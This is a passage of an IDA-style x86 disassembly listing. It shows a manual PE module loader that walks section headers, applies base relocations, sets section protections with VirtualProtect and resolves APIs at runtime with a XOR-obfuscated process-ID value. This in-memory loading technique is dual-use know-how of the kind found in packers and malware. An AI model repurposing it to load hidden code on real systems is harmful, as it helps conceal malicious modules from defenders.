var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	0
		push	[ebp+arg_0]
		call	sub_4D92CA
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		jmp	short loc_4D570F
; ---------------------------------------------------------------------------


loc_4D5708:				; CODE XREF: sub_4D56EB+40j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_4D570F:				; CODE XREF: sub_4D56EB+1Bj
		mov	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_4D572D
		mov	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_4CC86E
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[ecx], al
		jmp	short loc_4D5708
; ---------------------------------------------------------------------------


loc_4D572D:				; CODE XREF: sub_4D56EB+2Cj
		push	0Ch
		call	sub_4D835A
		pop	ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_4]
		mov	[eax+4], ecx
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_8]
		mov	[eax+8], ecx
		mov	eax, [ebp+var_C]
		leave
		retn
sub_4D56EB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D575D	proc near		; CODE XREF: sub_4D4AB0+9Fp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	[ebp+arg_4]
		call	sub_4D92CA
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		jmp	short loc_4D5781
; ---------------------------------------------------------------------------


loc_4D577A:				; CODE XREF: sub_4D575D+40j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_4D5781:				; CODE XREF: sub_4D575D+1Bj
		mov	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_4D579F
		mov	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_4CC86E
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[ecx], al
		jmp	short loc_4D577A
; ---------------------------------------------------------------------------


loc_4D579F:				; CODE XREF: sub_4D575D+2Cj
					; sub_4D575D:loc_4D5818j
		cmp	[ebp+arg_0], 0
		jz	short loc_4D581A
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+8]
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_C]
		mov	eax, [eax]
		mov	[ebp+var_14], eax


loc_4D57C2:				; CODE XREF: sub_4D575D+97j
		mov	eax, [ebp+var_14]
		mov	al, [eax]
		mov	[ebp+var_15], al
		mov	ecx, [ebp+var_10]
		cmp	al, [ecx]
		jnz	short loc_4D57FC
		cmp	[ebp+var_15], 0
		jz	short loc_4D57F6
		mov	eax, [ebp+var_14]
		mov	al, [eax+1]
		mov	[ebp+var_16], al
		mov	ecx, [ebp+var_10]
		cmp	al, [ecx+1]
		jnz	short loc_4D57FC
		add	[ebp+var_14], 2
		add	[ebp+var_10], 2
		cmp	[ebp+var_16], 0
		jnz	short loc_4D57C2


loc_4D57F6:				; CODE XREF: sub_4D575D+78j
		and	[ebp+var_1C], 0
		jmp	short loc_4D5804
; ---------------------------------------------------------------------------


loc_4D57FC:				; CODE XREF: sub_4D575D+72j
					; sub_4D575D+89j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh
		mov	[ebp+var_1C], eax


loc_4D5804:				; CODE XREF: sub_4D575D+9Dj
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jnz	short loc_4D5818
		mov	eax, [ebp+var_C]
		mov	eax, [eax+4]
		jmp	short locret_4D581C
; ---------------------------------------------------------------------------


loc_4D5818:				; CODE XREF: sub_4D575D+B1j
		jmp	short loc_4D579F
; ---------------------------------------------------------------------------


loc_4D581A:				; CODE XREF: sub_4D575D+46j
		xor	eax, eax

locret_4D581C:				; CODE XREF: sub_4D575D+B9j
		leave
		retn
sub_4D575D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D581E	proc near		; CODE XREF: sub_4D58CF+86p
					; sub_4D61E1+D8p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		movzx	eax, ds:byte_4E1694
		test	eax, eax
		jnz	short loc_4D587C
		push	offset dword_4E0C88
		lea	edx, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		call	sub_4D1AE2
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_4D5863
		push	offset dword_4E0C88
		lea	edx, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		call	sub_4D19D2
		mov	[ebp+var_8], eax


loc_4D5863:				; CODE XREF: sub_4D581E+30j
		cmp	[ebp+var_8], 0
		jnz	short loc_4D587C
		mov	eax, [ebp+var_4]
		mov	[ebp+var_C], eax
		push	[ebp+var_C]
		call	sub_4D83DD
		pop	ecx
		and	[ebp+var_4], 0


loc_4D587C:				; CODE XREF: sub_4D581E+17j
					; sub_4D581E+49j
		cmp	[ebp+arg_4], 0
		jz	short loc_4D588C
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		jmp	short loc_4D589B
; ---------------------------------------------------------------------------


loc_4D588C:				; CODE XREF: sub_4D581E+62j
		mov	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		push	[ebp+var_10]
		call	sub_4D83DD
		pop	ecx


loc_4D589B:				; CODE XREF: sub_4D581E+6Cj
		mov	eax, [ebp+var_8]
		leave
		retn
sub_4D581E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D58A0	proc near		; CODE XREF: sub_4D5BD7+41p
					; sub_4D5BD7+37Cp ...
		push	ebp
		mov	ebp, esp
		cmp	ds:dword_4E195C, 0
		jnz	short loc_4D58C2
		push	offset aKernel32_dll ; "kernel32.dll"
		push	offset aGetcurrentpr_0 ; "GetCurrentProcessId"
		call	sub_4D9C22
		pop	ecx
		pop	ecx
		mov	ds:dword_4E195C, eax


loc_4D58C2:				; CODE XREF: sub_4D58A0+Aj
		call	ds:dword_4E195C
		xor	eax, 0CABEFA10h
		pop	ebp
		retn
sub_4D58A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D58CF	proc near		; CODE XREF: sub_4D5AD2+Cp
					; sub_4DAF8C+2Bp

var_34		= byte ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		mov	[ebp+var_34], dl
		mov	[ebp+var_30], ecx
		push	offset sub_4DBB0D
		push	ds:dword_4E17C0
		push	[ebp+var_30]
		mov	ecx, ds:dword_4E1954
		call	sub_4DB891
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_4D594E
		movzx	eax, [ebp+var_34]
		test	eax, eax
		jz	short loc_4D5946
		push	400h
		call	sub_4D835A
		pop	ecx
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_10], eax
		push	400h
		push	[ebp+var_10]
		push	[ebp+var_C]
		call	ds:dword_4E1714	; GetModuleFileNameA
		test	eax, eax
		jz	short loc_4D5937
		push	[ebp+var_10]
		call	ds:dword_4E175C	; LoadLibraryA


loc_4D5937:				; CODE XREF: sub_4D58CF+5Dj
		mov	eax, [ebp+var_10]
		mov	[ebp+var_20], eax
		push	[ebp+var_20]
		call	sub_4D83DD
		pop	ecx


loc_4D5946:				; CODE XREF: sub_4D58CF+34j
		mov	eax, [ebp+var_C]
		jmp	locret_4D5A3F
; ---------------------------------------------------------------------------


loc_4D594E:				; CODE XREF: sub_4D58CF+2Cj
		push	0
		push	0
		push	[ebp+var_30]
		call	sub_4D581E
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		cmp	[ebp+var_8], 0
		jz	short loc_4D59B3
		push	0
		push	0
		push	[ebp+var_8]
		call	sub_4D8892
		add	esp, 0Ch
		mov	[ebp+var_14], eax
		push	[ebp+var_14]
		call	ds:dword_4E1718	; GetModuleHandleA
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_4D599F
		movzx	eax, [ebp+var_34]
		test	eax, eax
		jz	short loc_4D599F
		push	[ebp+var_14]
		call	ds:dword_4E175C	; LoadLibraryA


loc_4D599F:				; CODE XREF: sub_4D58CF+BDj
					; sub_4D58CF+C5j
		mov	eax, [ebp+var_14]
		mov	[ebp+var_24], eax
		push	[ebp+var_24]
		call	sub_4D83DD
		pop	ecx
		jmp	loc_4D5A3C
; ---------------------------------------------------------------------------


loc_4D59B3:				; CODE XREF: sub_4D58CF+99j
		push	[ebp+var_30]
		call	ds:dword_4E1718	; GetModuleHandleA
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_4D5A3C
		movzx	eax, [ebp+var_34]
		test	eax, eax
		jz	short loc_4D5A3C
		push	400h
		call	sub_4D835A
		pop	ecx
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_18], eax
		push	400h
		push	[ebp+var_18]
		push	[ebp+var_4]
		call	ds:dword_4E1714	; GetModuleFileNameA
		test	eax, eax
		jz	short loc_4D59FF
		push	[ebp+var_18]
		call	ds:dword_4E175C	; LoadLibraryA


loc_4D59FF:				; CODE XREF: sub_4D58CF+125j
		mov	eax, [ebp+var_18]
		mov	[ebp+var_2C], eax
		push	[ebp+var_2C]
		call	sub_4D83DD
		pop	ecx
		push	[ebp+var_30]
		push	[ebp+var_4]
		call	sub_4D5070
		test	eax, eax
		jnz	short loc_4D5A3C
		call	ds:dword_4E1710	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_4D5A2F
		push	7Eh
		call	ds:dword_4E178C	; RtlRestoreLastWin32Error


loc_4D5A2F:				; CODE XREF: sub_4D58CF+156j
		push	[ebp+var_4]
		call	ds:dword_4E16E0	; FreeLibrary
		and	[ebp+var_4], 0


loc_4D5A3C:				; CODE XREF: sub_4D58CF+DFj
					; sub_4D58CF+F4j ...
		mov	eax, [ebp+var_4]

locret_4D5A3F:				; CODE XREF: sub_4D58CF+7Aj
		leave
		retn
sub_4D58CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D5A41	proc near		; CODE XREF: sub_4DB076+4Ep

var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004D5AC3 SIZE 0000000F BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4DE488
		push	offset sub_4CC54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_28], ecx
		push	105h
		call	sub_4D835A
		pop	ecx
		mov	[ebp+var_20], eax
		mov	eax, [ebp+var_20]
		mov	[ebp+var_1C], eax
		push	41h
		pop	ecx
		xor	eax, eax
		mov	edi, [ebp+var_1C]
		rep stosd
		stosb
		and	[ebp+var_4], 0
		push	104h
		push	[ebp+var_1C]
		push	[ebp+var_28]
		call	ds:dword_4E1714	; GetModuleFileNameA
		push	[ebp+var_1C]
		push	[ebp+var_28]
		call	sub_4D5070
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_4D5AB3
		jmp	short loc_4D5AC3
sub_4D5A41	endp


; =============== S U B	R O U T	I N E =======================================



sub_4D5AB3	proc near		; CODE XREF: sub_4D5A41+6Bp
					; DATA XREF: _5:004DE490o
		mov	eax, [ebp-1Ch]
		mov	[ebp-24h], eax
		push	dword ptr [ebp-24h]
		call	sub_4D83DD
		pop	ecx
		retn
sub_4D5AB3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4D5A41


loc_4D5AC3:				; CODE XREF: sub_4D5A41+70j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; END OF FUNCTION CHUNK	FOR sub_4D5A41

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D5AD2	proc near		; CODE XREF: sub_4DAE2D+19p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	dl, 1
		mov	ecx, [ebp+var_4]
		call	sub_4D58CF
		leave
		retn
sub_4D5AD2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D5AE5	proc near		; CODE XREF: sub_4D61E1+5DBp
					; sub_4D61E1+60Fp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		div	[ebp+arg_4]
		mov	[ebp+var_4], edx
		cmp	[ebp+var_4], 0
		jz	short loc_4D5B05
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+arg_4]
		sub	eax, [ebp+var_4]
		jmp	short locret_4D5B08
; ---------------------------------------------------------------------------


loc_4D5B05:				; CODE XREF: sub_4D5AE5+13j
		mov	eax, [ebp+arg_0]

locret_4D5B08:				; CODE XREF: sub_4D5AE5+1Ej
		leave
		retn
sub_4D5AE5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D5B0A	proc near		; CODE XREF: sub_4D5BD7+16Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+arg_8]
		add	eax, [ebp+arg_C]
		mov	[ebp+var_8], eax


loc_4D5B25:				; CODE XREF: sub_4D5B0A:loc_4D5BD0j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	locret_4D5BD5
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_4]
		add	eax, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_4]
		add	eax, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_10]
		sub	eax, 8
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax


loc_4D5B65:				; CODE XREF: sub_4D5B0A+8Bj
					; sub_4D5B0A+C4j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jnb	short loc_4D5BD0
		mov	eax, [ebp+var_4]
		movzx	eax, word ptr [eax]
		and	eax, 0FFFh
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_4]
		movzx	eax, word ptr [eax]
		sar	eax, 0Ch
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+var_4]
		inc	eax
		inc	eax
		mov	[ebp+var_4], eax
		cmp	[ebp+var_1C], 0
		jnz	short loc_4D5B97
		jmp	short loc_4D5B65
; ---------------------------------------------------------------------------


loc_4D5B97:				; CODE XREF: sub_4D5B0A+89j
		cmp	[ebp+var_1C], 3
		jz	short loc_4D5BA7
		mov	ecx, 0EF000016h
		call	sub_4D8342


loc_4D5BA7:				; CODE XREF: sub_4D5B0A+91j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_14]
		add	eax, [ebp+var_24]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		sub	ecx, [eax+34h]
		mov	eax, [ebp+var_20]
		mov	eax, [eax]
		add	eax, ecx
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_20]
		mov	ecx, [ebp+var_18]
		mov	[eax], ecx
		jmp	short loc_4D5B65
; ---------------------------------------------------------------------------


loc_4D5BD0:				; CODE XREF: sub_4D5B0A+61j
		jmp	loc_4D5B25
; ---------------------------------------------------------------------------

locret_4D5BD5:				; CODE XREF: sub_4D5B0A+21j
		leave
		retn
sub_4D5B0A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D5BD7	proc near		; DATA XREF: sub_4D61E1+C01o

var_7C		= dword	ptr -7Ch
var_78		= byte ptr -78h
var_74		= dword	ptr -74h
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

; FUNCTION CHUNK AT 004D6113 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004D6128 SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4DE498
		push	offset sub_4CC54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 7Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_1C], 0
		and	[ebp+var_4], 0
		cmp	[ebp+arg_10], 1
		jnz	loc_4D5F4D
		mov	[ebp+var_4], 1
		call	sub_4D58A0
		mov	ecx, [ebp+arg_8]
		xor	ecx, eax
		mov	[ebp+arg_8], ecx
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_24]
		mov	ecx, [ebp+var_24]
		add	ecx, [eax+3Ch]
		mov	[ebp+var_40], ecx
		mov	eax, [ebp+var_40]
		movzx	eax, word ptr [eax+14h]
		mov	ecx, [ebp+var_40]
		lea	eax, [ecx+eax+18h]
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_40]
		movzx	eax, word ptr [eax+6]
		imul	eax, 28h
		mov	ecx, [ebp+var_34]
		lea	eax, [ecx+eax-28h]
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_28]
		mov	eax, [eax+0Ch]
		mov	ecx, [ebp+var_24]
		mov	eax, [ecx+eax+34h]
		mov	[ebp+var_44], eax
		mov	eax, [ebp+var_28]
		mov	eax, [eax+0Ch]
		mov	ecx, [ebp+var_24]
		mov	eax, [ecx+eax+38h]
		mov	[ebp+var_2C], eax
		mov	eax, [ebp+var_28]
		mov	eax, [eax+0Ch]
		mov	ecx, [ebp+var_24]
		mov	eax, [ecx+eax+3Ch]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+var_28]
		mov	eax, [eax+0Ch]
		mov	ecx, [ebp+var_24]
		mov	eax, [ecx+eax+40h]
		mov	[ebp+var_38], eax
		mov	eax, [ebp+var_28]
		mov	eax, [eax+0Ch]
		mov	ecx, [ebp+var_24]
		lea	eax, [ecx+eax+44h]
		mov	[ebp+var_3C], eax
		jmp	short loc_4D5CB7
; ---------------------------------------------------------------------------


loc_4D5CAE:				; CODE XREF: sub_4D5BD7:loc_4D5D2Aj
		mov	eax, [ebp+var_34]
		add	eax, 28h
		mov	[ebp+var_34], eax


loc_4D5CB7:				; CODE XREF: sub_4D5BD7+D5j
		mov	eax, [ebp+var_34]
		cmp	eax, [ebp+var_28]
		jnb	short loc_4D5D2C
		mov	eax, [ebp+var_3C]
		mov	eax, [eax]
		mov	[ebp+var_50], eax
		mov	eax, [ebp+var_3C]
		add	eax, 4
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_3C]
		mov	eax, [eax]
		mov	[ebp+var_4C], eax
		mov	eax, [ebp+var_3C]
		add	eax, 4
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_3C]
		add	eax, 4
		mov	[ebp+var_3C], eax
		push	0
		push	0
		push	[ebp+var_50]
		push	[ebp+arg_0]
		call	sub_4D0421
		lea	eax, [ebp+var_48]
		push	eax
		push	0
		push	0
		push	[ebp+var_4C]
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_24]
		add	ecx, [eax+0Ch]
		push	ecx
		push	[ebp+arg_0]
		call	sub_4D1177
		test	eax, eax
		jz	short loc_4D5D20
		cmp	[ebp+var_48], 0
		jnz	short loc_4D5D2A


loc_4D5D20:				; CODE XREF: sub_4D5BD7+141j
		mov	ecx, 0EF00000Fh
		call	sub_4D8342


loc_4D5D2A:				; CODE XREF: sub_4D5BD7+147j
		jmp	short loc_4D5CAE
; ---------------------------------------------------------------------------


loc_4D5D2C:				; CODE XREF: sub_4D5BD7+E6j
		mov	eax, [ebp+var_40]
		mov	eax, [eax+34h]
		cmp	eax, [ebp+var_24]
		jz	short loc_4D5D4B
		push	[ebp+var_2C]
		push	[ebp+var_44]
		push	[ebp+var_40]
		push	[ebp+var_24]
		call	sub_4D5B0A
		add	esp, 10h


loc_4D5D4B:				; CODE XREF: sub_4D5BD7+15Ej
		push	5Ch
		push	[ebp+arg_4]
		call	sub_4CC700
		pop	ecx
		pop	ecx
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jnz	short loc_4D5D68
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_20], eax
		jmp	short loc_4D5D6F
; ---------------------------------------------------------------------------


loc_4D5D68:				; CODE XREF: sub_4D5BD7+187j
		mov	eax, [ebp+var_20]
		inc	eax
		mov	[ebp+var_20], eax


loc_4D5D6F:				; CODE XREF: sub_4D5BD7+18Fj
		cmp	[ebp+var_30], 0
		jz	short loc_4D5D97
		mov	eax, [ebp+var_24]
		add	eax, [ebp+var_30]
		mov	[ebp+var_54], eax
		push	[ebp+var_38]
		push	1
		push	[ebp+var_20]
		push	[ebp+var_40]
		push	[ebp+var_24]
		push	[ebp+var_54]
		call	sub_4D4D70
		add	esp, 18h


loc_4D5D97:				; CODE XREF: sub_4D5BD7+19Cj
		mov	eax, ds:dword_4E1954
		mov	[ebp+var_74], eax
		cmp	[ebp+var_74], 0
		jz	short loc_4D5DB8
		mov	eax, [ebp+var_74]
		add	eax, 10h
		push	eax
		call	ds:dword_4DE01C	; RtlEnterCriticalSection
		mov	[ebp+var_78], 1
		jmp	short loc_4D5DBC
; ---------------------------------------------------------------------------


loc_4D5DB8:				; CODE XREF: sub_4D5BD7+1CCj
		and	[ebp+var_78], 0


loc_4D5DBC:				; CODE XREF: sub_4D5BD7+1DFj
		movzx	eax, [ebp+var_78]
		test	eax, eax
		jz	short loc_4D5DFB
		push	offset sub_4DBB0D
		push	ds:dword_4E17C0
		push	[ebp+arg_C]
		push	[ebp+var_20]
		mov	ecx, ds:dword_4E1954
		call	sub_4DB9B1
		mov	eax, ds:dword_4E1954
		mov	[ebp+var_7C], eax
		cmp	[ebp+var_7C], 0
		jz	short loc_4D5DFB
		mov	eax, [ebp+var_7C]
		add	eax, 10h
		push	eax
		call	ds:dword_4DE018	; RtlLeaveCriticalSection


loc_4D5DFB:				; CODE XREF: sub_4D5BD7+1EBj
					; sub_4D5BD7+215j
		push	[ebp+arg_4]
		push	[ebp+arg_C]
		mov	ecx, ds:dword_4E194C
		call	sub_4DB98E
		cmp	ds:dword_4E1680, 2
		jb	loc_4D5F35
		mov	eax, [ebp+var_40]
		movzx	eax, word ptr [eax+14h]
		mov	ecx, [ebp+var_40]
		lea	eax, [ecx+eax+18h]
		mov	[ebp+var_34], eax
		and	[ebp+var_58], 0
		lea	eax, [ebp+var_58]
		push	eax
		push	4
		mov	eax, [ebp+var_28]
		sub	eax, [ebp+var_34]
		cdq
		push	28h
		pop	ecx
		idiv	ecx
		push	eax
		push	[ebp+var_34]
		call	ds:dword_4E17AC	; VirtualProtect
		mov	eax, [ebp+var_28]
		mov	eax, [eax+0Ch]
		mov	ecx, [ebp+var_24]
		lea	eax, [ecx+eax+44h]
		mov	[ebp+var_3C], eax
		jmp	short loc_4D5E65
; ---------------------------------------------------------------------------


loc_4D5E5C:				; CODE XREF: sub_4D5BD7+32Bj
		mov	eax, [ebp+var_34]
		add	eax, 28h
		mov	[ebp+var_34], eax


loc_4D5E65:				; CODE XREF: sub_4D5BD7+283j
		mov	eax, [ebp+var_34]
		cmp	eax, [ebp+var_28]
		jnb	loc_4D5F07
		mov	eax, [ebp+var_3C]
		add	eax, 8
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_3C]
		mov	eax, [eax]
		mov	[ebp+var_60], eax
		mov	eax, [ebp+var_3C]
		add	eax, 4
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_60]
		mov	[eax+24h], ecx
		and	[ebp+var_5C], 0
		mov	eax, [ebp+var_60]
		and	eax, 20000000h
		test	eax, eax
		jz	short loc_4D5EC2
		mov	eax, [ebp+var_60]
		and	eax, 80000000h
		test	eax, eax
		jz	short loc_4D5EB9
		mov	[ebp+var_5C], 40h
		jmp	short loc_4D5EC0
; ---------------------------------------------------------------------------


loc_4D5EB9:				; CODE XREF: sub_4D5BD7+2D7j
		mov	[ebp+var_5C], 20h


loc_4D5EC0:				; CODE XREF: sub_4D5BD7+2E0j
		jmp	short loc_4D5EDE
; ---------------------------------------------------------------------------


loc_4D5EC2:				; CODE XREF: sub_4D5BD7+2CBj
		mov	eax, [ebp+var_60]
		and	eax, 80000000h
		test	eax, eax
		jz	short loc_4D5ED7
		mov	[ebp+var_5C], 4
		jmp	short loc_4D5EDE
; ---------------------------------------------------------------------------


loc_4D5ED7:				; CODE XREF: sub_4D5BD7+2F5j
		mov	[ebp+var_5C], 2


loc_4D5EDE:				; CODE XREF: sub_4D5BD7:loc_4D5EC0j
					; sub_4D5BD7+2FEj
		lea	eax, [ebp+var_60]
		push	eax
		push	[ebp+var_5C]
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_34]
		mov	eax, [eax+34h]
		sub	eax, [ecx+0Ch]
		push	eax
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_24]
		add	ecx, [eax+0Ch]
		push	ecx
		call	ds:dword_4E17AC	; VirtualProtect
		jmp	loc_4D5E5C
; ---------------------------------------------------------------------------


loc_4D5F07:				; CODE XREF: sub_4D5BD7+294j
		mov	eax, [ebp+var_40]
		movzx	eax, word ptr [eax+14h]
		mov	ecx, [ebp+var_40]
		lea	eax, [ecx+eax+18h]
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_58]
		push	eax
		push	[ebp+var_58]
		mov	eax, [ebp+var_28]
		sub	eax, [ebp+var_34]
		cdq
		push	28h
		pop	ecx
		idiv	ecx
		push	eax
		push	[ebp+var_34]
		call	ds:dword_4E17AC	; VirtualProtect


loc_4D5F35:				; CODE XREF: sub_4D5BD7+23Cj
		and	[ebp+var_4], 0
		jmp	short loc_4D5F4B
; ---------------------------------------------------------------------------


loc_4D5F3B:				; DATA XREF: _5:004DE4A8o
		push	[ebp+var_14]
		call	sub_4D8C27
		retn
; ---------------------------------------------------------------------------


loc_4D5F44:				; DATA XREF: _5:004DE4ACo
		mov	esp, [ebp+var_18]
		and	[ebp+var_4], 0


loc_4D5F4B:				; CODE XREF: sub_4D5BD7+362j
		jmp	short loc_4D5F6F
; ---------------------------------------------------------------------------


loc_4D5F4D:				; CODE XREF: sub_4D5BD7+34j
		cmp	[ebp+arg_10], 0
		jnz	short loc_4D5F62
		call	sub_4D58A0
